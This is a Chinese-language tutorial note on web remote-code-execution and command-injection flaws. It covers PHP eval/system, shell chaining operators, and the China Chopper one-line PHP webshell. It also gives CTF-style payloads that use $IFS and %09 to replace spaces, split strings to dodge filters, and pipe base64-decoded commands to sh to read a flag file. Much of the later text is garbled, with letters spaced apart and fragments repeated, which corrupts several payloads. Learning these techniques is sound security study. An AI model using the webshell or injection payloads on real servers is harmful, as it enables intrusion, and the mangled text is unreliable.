WEB漏洞-RCE代碼及指令執行漏洞代碼執行:eg.
* eval():PHP中函數,會将()内的内容當作PHP代碼來執行,例如eval(phpinfo()😉 就會顯示出phpinfo()執行後的後果。
指令執行:eg.
* system() 可以執行外部指令,例如system(ipconfig),可以傳回在系統中調用ipconfig的結果。
漏洞形成條件:
1. 可控變量
2. 漏洞函數
利用系統指令執行漏洞時常常會用到管道符:Window系列支援的管道符如下所示。
* " | ":直接執行後面的語句。例如:ping 127.0.0.1 | whoami。
* “ || ”:如果前面執行的語句執行出錯,則執行後面的語句,前面的語句隻能為假。例如:ping 127.0.0.1 || whoami
* " & " :如果前面的語句為假則直接執行後面的語句,前面的語句可真可假。例如: ping 127.0.0.1 &whoami。
* “ && ”: 如果前面的語句為假則直接出錯,也不執行後面的語句,前面的語句隻能為真。例如:ping 127.0.0.1 && whoami。
Linux 系統支援的管道符如下所示:
* “;”:執行完前面的語句再執行後面的。例如: ping 127.0.0.1;whoami
* “ | ”:顯示後面語句的執行結果。例如: ping 127.0.0.1 | whoami。一般用這個管道符。
* “ || ”: 目前面的語句執行出錯時,執行後面的語句。例如: ping 1|| whoami。
* “ & ”: 如果前面的語句執行為假則直接執行後面的語句。前面的語句可真可假。例如:ping 127.0.0.1 & whoami。
* “ && ”:如果前面的語句為假則直接出錯,也不執行後面的,前面的語句隻能為真。例如: ping 127.0.0.1 && whoami。
eval( r e q u e s t [ ′ a ′ ] ) 和 e v a l ( e c h o ‘ _request['a'])和eval(echo ` request[′a′])和eval(echo‘_ruquest[‘a’]
)的差別:eval($_request['a'])為代碼執行,eval(echo
r u q u e s t [ ′ a ′ ] ‘ ; ) 為 系 統 命 令 執 行 L i n u x 中 反 引 号 ‘ ‘ 内 的 内 容 中 國 菜 刀 原 理 : 以 一 句 話 後 門 木 馬 < ? p h p @ e v a l ( _ruquest['a']`;)為系統指令執行Linux中反引号 ` `内的内容中國菜刀原理:以一句話後門木馬<?php @eval( ruquest[′a′]‘;)為系統指令執行Linux中反引号‘‘内的内容中國菜刀原理:以一句話後門木馬<?php@eval(_post[‘x’]😉?>為例,會把一些内置的寫好的代碼代替x參數然後發包,然後實作遠端代碼執行或系統指令執行,并傳回可視化界面。Linux常用指令:cd …/…/進入上兩層目錄pwd 顯示目前目錄ls 展示目前目錄下包含的檔案夾或檔案cat 顯示文本檔案的内容 例如 cat flag.txt指令執行的空格代替<符号 I F S IFS IFS{IFS}$IFS$9 9 指 傳 過 來 的 第 9 個 參 數 9指傳過來的第9個參數%09用于url傳遞通過變量實作字元串拼接 1 構造/?ip=127.0.0.1;b=ag;a=fl;cat 9指傳過來的第9個參數IFS 1 1 1a b . p h p 即 可 獲 取 f l a g 注 : 此 處 将 變 量 a b 的 位 置 互 換 是 為 了 繞 過 字 符 串 匹 配 2. 通 過 執 行 s h 命 令 來 執 行 ( b a s h 被 過 濾 了 , 不 然 也 可 以 執 行 ) 構 造 / ? i p = 127.0.0.1 ; e c h o b.php 即可擷取flag 注:此處将變量ab的位置互換是為了繞過字元串比對 2.通過執行sh指令來執行 (bash被過濾了,不然也可以執行) 構造/?ip=127.0.0.1;echo b.php即可擷取flag注:此處将變量ab的位置互換是為了繞過字元串比對2.通過執行sh指令來執行(bash被過濾了,不然也可以執行)構造/?ip=127.0.0.1;echoIFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS 1 − d ∣ s h 注 : s h 是 l i n u x 中 運 行 s h e l l 的 命 令 , b a s h 相 當 于 s h 的 升 級 版 , s h ∈ b a s h 3. 内 聯 執 行 構 造 / ? i p = 127.0.0.1 ; c a t 1-d|sh注:sh是linux中運作shell的指令,bash相當于sh的更新版,sh∈bash 3.内聯執行 構造 /?ip=127.0.0.1;cat 1−d∣sh注:sh是linux中運作shell的指令,bash相當于sh的更新版,sh∈bash3.内聯執行構造/?ip=127.0.0.1;catIFS$9
ls
注:内聯,就是将反引号内指令的輸出作為輸入。